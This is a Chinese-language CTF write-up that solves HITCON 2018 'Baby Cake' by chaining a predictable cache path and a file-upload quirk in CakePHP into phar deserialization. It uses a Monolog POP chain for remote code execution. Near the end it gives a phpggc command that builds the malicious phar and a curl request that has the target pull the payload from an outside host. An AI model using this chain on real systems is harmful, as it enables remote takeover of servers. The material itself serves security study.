PHP反序列化入門之尋找POP鏈(三)
本篇文章,將以 HITCON2018 中的 Baby Cake 為例,繼續練習 PHP POP鏈 尋找,題目 docker 環境地址: https://github.com/Tiaonmmn/hitcon_2018_babycake 。題目所使用的框架為 Cake PHP ,具體可以參考: https://book.cakephp.org。
漏洞點發掘
題目介面如下:
我們先來看整個應用的 web 路由。通過檢視 config/routes.php 檔案,我們可以發現其入口點是 PagesController 類中的 display 方法.。(下圖 第13行 )
我們跟進 display 方法,發現 $url 只能以 http、https 開頭,請求方法支援 get、post、put、delete、patch 五種。
然後會先判斷快取中是否存在相關頁面內容及請求頭(上圖 第22行 ),如果存在,則直接用 file_get_contents 從快取中獲取,其中請求頭的內容還會反序列化一次,這裡我們先暫且記下。快取檔案的路徑是可以預測的,這對我們之後的攻擊十分有利。(下圖 第21行 )
如果快取檔案不存在的話,就會先呼叫 PagesController 類的 httpclient 方法生成一個 Client 類,通過 Client 類生成響應資料,然後再將響應資料通過 PagesController 類的 cache_set 方法分別寫入 body.cache 和 headers.cache 檔案。其具體程式碼如下:
我們再來看這個響應資料是如何生成的,其呼叫了 Client 類的 get 方法(對應上圖程式碼 第25行 。當然,這是在發起 GET 請求的基礎上)。
我們跟進 _doRequest 方法,發現其呼叫了 _createRequest 方法,而 _createRequest 方法中例項了一個 Request 物件,該物件在建立時,又會呼叫 body 方法,我們繼續跟進該方法。
如果我們傳入的資料是陣列型別的話, body 方法就會呼叫 FormData 類的 addMany 方法,然後 addMany 方法再呼叫 add 方法。而這個 add 方法我們需要注意一下,這是一個棄用功能,然而程式執行到這裡時,並沒有直接退出,還是繼續呼叫 addFile 方法。他會把以 @ 符號開頭的字串當做被上傳檔案的路徑,並呼叫 addFile 方法進行上傳,其功能類似 curl 命令上傳檔案行為,具體程式碼如下:
我們看到 addFile 方法裡面用到了 file_get_contents 函式獲取內容,而且引數 $value 是我們可控的。那麼我們便可結合前面的快取功能,將構造的 phar 檔案存入快取檔案中,由於快取檔案路徑可知,我們便可通過 phar反序列化 進行攻擊。
POP鏈構造
找到利用點之後,我們再來尋找 POP鏈 ,先來看看題目中用到的元件。
我們發現題目用到了 monolog 元件版本為 1.23 ,然而這個版本的 monolog 卻存在 RCE ,我們可以通過 phpggc 來了解一下。
其反序列化觸發 RCE 時,類方法呼叫過程如下:
完成攻擊
理清上面整個 POP鏈 後,我們可以直接用 phpggc 生成攻擊用的 phar 檔案,命令如下:
./phpggc -p phar -o /var/www/html/demo.phar Monolog/RCE1 system id
生成惡意 phar 檔案後,我們先將該檔案存入 Web 應用的快取中:
curl http://題目IP/?url=http://xx.xx.xx.xx/demo.phar
然後根據程式碼計算出快取檔案存放路徑,最後再發起一個 POST 請求,完成 phar反序列化 。